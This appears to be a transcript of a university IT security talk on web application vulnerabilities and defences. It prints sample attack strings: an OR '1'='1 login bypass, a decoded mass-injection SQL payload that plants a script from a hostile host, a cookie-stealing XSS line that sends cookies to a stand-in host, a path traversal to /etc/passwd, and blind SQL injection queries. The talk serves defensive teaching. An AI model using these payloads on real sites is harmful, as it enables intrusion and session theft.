Transcript Web Security - University of Reading

http://xkcd.com/327
Web Security
Chris Wakelin – IT Services
28 March 2016
© University of Reading 2008
www.reading.ac.uk
Introduction
• Background
• Vulnerabilities
• Defences
• Risk Assessment
Background - Incidence of
common vulnerabilities
• Broken authentication – 67%
• Broken access controls – 78%
• SQL injection – 36%
• Cross-site scripting – 91%
• Information leakage – 81%
(source – Web Application Hacker’s Handbook)
Background – Mass exploits
• November 2007 – yl18.net
– “40,000 websites”
– http://isc.sans.org/diary.html?storyid=3621
– Including www.reading.gov.uk
• January 2008 - uc8010.com
– “70,000 websites”
– Including www.iop.kcl.ac.uk ?
– http://isc.sans.org/diary.html?storyid=3823
Background UoR Web defacements
• Fresher’s Week 2007
– www.careers.reading.ac.uk defaced
– “code own3d by UGUR238” appearing everywhere
• 30th October
– www.launchpad.reading.ac.uk defaced
– “ownz ya baby”
• 19th November 2007
– www.reading.ac.uk/moneymatters (a.k.a.
www.extra.rdg.ac.uk/studentfinance) defaced
– “Hooked by cyber_zook”
• We’ve been lucky!
Background –
Motivation
• We were lucky, still only “script kiddies”
– No malicious code inserted
– Defacement was obvious (boasting!)
• Mass exploits are perpetrated by Cyber Criminals
–
–
–
–
Wish to insert malicious code (Javascript and IFRAMEs)
Attack visiting clients with cocktail of exploits
Eventually install “Trojan du Jour” (“drive-by downloads”)
Compromised clients used to capture banking details, spread spam
etc.
• Consequences of such an exploit in the University
– Many of the clients would be our users
• Potentially huge clean-up task
– Damage to University’s reputation etc.
Vulnerabilities SQL Injection - Cartoon
• Consider the cartoon. What if the web app used the
following SQL query?
SELECT * FROM Students WHERE (status = ‘active’ AND name=‘$name’)
• “Little Bobby Tables” has just made
$name = Robert‘); DROP TABLE Students;--
• So the query becomes
SELECT * FROM Students WHERE (account=‘active’ AND name=‘Robert’); DROP TABLE
Students;-- ‘)
• Oops!
Vulnerabilities –
SQL Injection - Authentication
• What about
SELECT * FROM Users WHERE username=‘$username’ AND password=‘$password’ ?
• I found three different UoR websites where a
password of ‘OR ‘1’=‘1 logged me in (as an Administrator
in two of the cases!)
– … AND password=‘’ OR ‘1’=‘1’
– One using MS SQL Server (ASP, commercial), one MS
Access (ASP, consultancy) and one MySQL (PHP, homegrown)
Vulnerabilities SQL Injection – Mass Exploits
HTTP Request was
GET
/home/site_content_3.asp?s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C0
0610072... ...29003B00%20AS%20NVARCHAR(4000));EXEC(@S);--
Which decodes as
declare @m varchar(8000);set @m='';select
@m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script
src="hxxp://yl18 net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and
b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set
@m=REVERSE(@m);exec(@m);
Vulnerabilities Advanced SQL Injection
• ‘Blind’ SQL Injection
– Just needs to produce a different result depending on whether
the given condition is true or false
• WebCMS was vulnerable
– /nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sI
D=22059 gave a different answer (downloaded the file) to
– /nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sI
D=22059 (gave an error)
• Automated tools can potentially retrieve (slowly)
everything in the database
– Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE
username=‘admin’) > 78
Vulnerabilities Advanced SQL Injection
[*] starting at: 22:00:56
[22:01:03] [WARNING] the remote DMBS is not MySQL
[22:01:04] [WARNING] the remote DMBS is not Oracle
[22:01:04] [WARNING] the remote DMBS is not PostgreSQL
remote DBMS:
Microsoft SQL Server
Database: ae400_readingdev
[163 tables]
+---------------------------------------+
| ACTIVATION
|
| AEMA_PAGE_AC_COST
|
| AEMA_PAGE_AC_COST_VALUES
|
| AEMA_PAGE_AC_ROOMTERM
|
| AEMA_PAGE_AC_ROOMTERM_VALUES
|
| AEMA_PAGE_AC_TYPE
|
| AEMA_PAGE_AC_TYPE_VALUES
|
| WORKFLOW
|
| WORKFLOW_USERS
|
+---------------------------------------+
[*] shutting down at: 00:16:21
Vulnerabilities Cross-Site Scripting (XSS)
•
•
•
•
Not as spectacular as SQL injection
Far more prevalent (91%)
Severity depends on context
E.g. can be used to hijack authenticated sessions
– Victim is persuaded to follow specially crafted link to their application
– Their browser sends their session cookie to the attacker
– The attacker uses this cookie to hijack the session
• Can be Spectacular – the MySpace worm used XSS
– Attacker posted Javascript to his profile
– People visiting that profile became his buddies and had the
Javascript added to their profile
– He ended up with over a million friends (not that they helped him in
court!)
Vulnerabilities –
Cross-Site Scripting
• Typical problem is in search pages or error pages
• …/Search.asp?search-term=<script> …
– “You searched for <script>alert(document.cookie)</script>”
• …/Login.php?user=<script> …
– “User <script>var i=new Image; i.src=“hxxp://hacker.com/”+document.cookie</script>
does not exist”
• Can also happen by “POST” (form submission) but
harder to exploit
• These are “Reflected” or “Class 1” XSS.
Vulnerabilites –
Cross-Site Scripting
• Stored” or “Class 2” XSS is where an attacker puts
Javascript in a field (such as a comment) which is
subsequently viewed by other users
– E.g. Webmail, blogs, bulletin boards, advertisments
• Other avenues of attack starting to appear
– Flash
– ActiveX controls
• Best browser defence is Firefox + NoScript plugin
– Selectively allow Javascript for trusted sites
– Perhaps not user-friendly enough …
Vulnerabilities –
Outdated applications
• E.g. Wordpress, phpBB, Joomla
• “Google Hacking”
– Find old vulnerable versions of well-known applications
– E.g. “site:rdg.ac.uk inurl:wp-login.php”
– See http://johnny.ihackstuff.com/ghdb.php for more ...
• Even security professionals not immune http://www.lightbluetouchpaper.org/2007/11/20/wordpr
ess-cookie-authentication-vulnerability/
• Watch out for “plugins” as they may be less wellwritten
• Essential to keep applications up-to-date!
Vulnerabilities –
Old versions and source code
• Don’t keep old (potentially insecure) version of scripts
lying around
– Hackers will try “index.php.bak” and “default2.asp”
– If you must keep old versions online, pick a naming scheme
that is unlikely to be guessed
• “search-191107cdw.asp”
– If you change the file extension, the server may hand out your
actual code!
• Deny access to source and backup directories
– Preferably keep them out of the web root altogether
Vulnerabilities - others
• Other injection flaws
– Command injection (can run OS commands)
– Script injection (exec/eval/include commands in scripts)
– HTTP header (CRLF) injection (anything the client sends you
that ends up in the header, especially cookies and redirects)
– SMTP/LDAP/XPATH/SOAP …
• Path traversal
– http://myapp.reading.ac.uk/display.php?file=../../../../etc/passw
d
• Buffer overflows
– Don’t rely on “<input … maxlength=xxx>” or “size=xxx”
• …
Defences – Fix apps
• Sanitise anything you get and use from the user
– Including ‘hidden’ fields, cookies, user-agent etc.
– Don’t assume they’ll obey things like length-restrictions
• If possible, restrict to ‘known good’ rather than trying to exclude
bad things
– E.g. if your application takes an integer as an argument, reject
anything that isn’t an integer
– Be careful not to throw out the baby with the bathwater, though
• We probably don’t want to exclude people of Irish ancestry from
receiving the University prospectus – e.g. O’Connor
• “Parameterise” SQL queries (if necessary)
• HTML-Encode anything you output
– htmlencode($string) in PHP
– Server.HTMLencode(string) in ASP
Defences – Fix apps –
Validate input
• ASP
Public Function ValidateInput(ByVal sInput, ByVal sPattern)
Dim reValid
Set reValid = New RegExp
reValid.Pattern = sPattern
reValid.Global = True
ValidateInput = reValid.Test(sInput)
Set reValid = Nothing
End Function
If not ValidateInput(strid, "^[0-9]+$") then
strid="1"
End If
• PHP
If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;
Defences - Fix apps Parameterise queries
• PHP
$sql = $db_connection->prepare(
“SELECT * FROM users WHERE username = ? AND password = ?”);
$sql->bind_param(“ss”, $username, $password);
$sql->execute();
• ASP
Set dbCommand = Server.CreateObject("ADODB.Command")
Set dbCommand.ActiveConnection = dbConnection
dbCommand.CommandType = adCmdText
dbCommand.CommandText = "SELECT * FROM users WHERE username=? and
password=?“
dbCommand.Parameters.Append (dbCommand.CreateParameter("username",
adChar, adParamInput, Len(username), username))
dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar,
adParamInput, Len(pwd), pwd))
Set rs = dbCommand.Execute
Defences Minimal permissions
• Each application should have its own database account(s)
– Account should have read-only privileges unless the application
modifies the data
– Use separate account for admin write access if possible
– Don’t be DBA (even to just make things work)
• Use access restrictions (.htaccess etc.) to restrict admin
functionality to trusted networks/users
• Web servers shouldn’t run as root/local system/administrator or
as the same user as the database
– May be an idea to run the database on a different server altogether
• Use strong passwords (and password policies)
– Use password hashes where possible
Defences - Policies
• We should aim to not be the “low-hanging fruit”
• Move the fruit further up the tree by
– Requiring authentication
– Restricting access to those on campus where possible
• Shake the tree ourselves and see what falls out
– Then fix it
• Hackers with ladders/cherry-pickers/chainsaws will
probably beat us!
– But we’re not a bank, so hopefully they won’t bother
Defences - Policies
• A single Nessus Scan no longer sufficient
– Websites change
– Nessus not really suited to testing web applications
• We need a policy of systematic testing
– When a request for a database is made
– When a web application is installed or changed
– Periodic automated testing?
• Try to consolidate to central services where possible
– Do we need 10 different Wordpress installations?
Defences - Policies
• Web applications need to be properly resourced and
maintained (static pages are probably OK)
• Consultancy & commercial
– Can’t just pay a consultant to develop it and forget about it
– Need support contract
• Home-grown
– What if the original author leaves?
• Open-source
– Keep up-to-date with latest releases and patches
– What if it’s no longer maintained?
Defences - Security Scans
• Historically we scanned new websites with Nessus
– Not particularly aimed at web-application security problems
• Doesn’t do “spidering” so will only find problems in obvious
places
– We only scanned once (and reserved the right to rescan later)
– Nessus is free!
• Web Security Scanners
– Commercial ones are expensive £3000 - £30000!
• WebInspect, AppScan, Acunetix …
– Can still have problems with false positives
– Will still miss some of the obvious vulnerabilities
– Probably can be used for automated and first-glance checks
Defences - Free testing tools
• Paros Proxy (http://www.parosproxy.org/ )
– Good point & click tool – a bit lacking in documentation
– Will find the simplest XSS and SQL injection flaws
• Burp Suite (http://www.portswigger.net/suite/ )
– More sophisticated tools to assist the penetration tester
• Acunetix Free Edition (http://www.acunetix.com )
– Restricted version of commercial scanner; just finds XSS
• Nikto (http://www.cirt.net )
– Perl script to look for common vulnerabilities
• WebGoat (http://www.owasp.org/ )
– Training application for pen testers (can you buy the HDTV for 0$?)
Defences Web Application Firewall
• Mod_security for Apache (http://www.modsecurity.org )
– Main Apache server is acting as “reverse proxy” for WebCMS
– Can block things like XSS and SQL injection attacks
– Customisable “Core” Ruleset provided
• Custom rules can protect particular applications
– Provides an audit trail
• Free console application (for up to 3 servers)
– Currently running in “Log only” mode (on all virtual hosts)
– Can proxy www.xyz.rdg.ac.uk by making DNS point to Apache
• But may need different URL for editing
– Risk of false positives (we have a very varied website)
Risk Assessment
• SQL Injection in SQL Server or MySQL
– High risk
– Actively targeted by automated attacks
– Potential to affect other apps sharing the same database
server
• SQL Injection in MS Access
– Medium risk
– Less likely to be compromised by an automated attack
– Determined hacker could probably modify the database and
insert malicious code
Risk Assessment
• Reflected XSS
– Low to medium risk
– Important on sites with authentication (Blackboard, RISIS,
Trent etc.) where session tokens could be stolen
• Outdated well-known applications
– Could be a high risk
– Automated attacks via “Google Hacking”
Conclusion
• Web application security now a ‘hot topic’
• Automated attacks occurring constantly
• Need to fix home-grown scripts and applications
• Need to keep third-party applications up-to-date
• Need to ensure proper resources for maintenance
• Need policies to keep track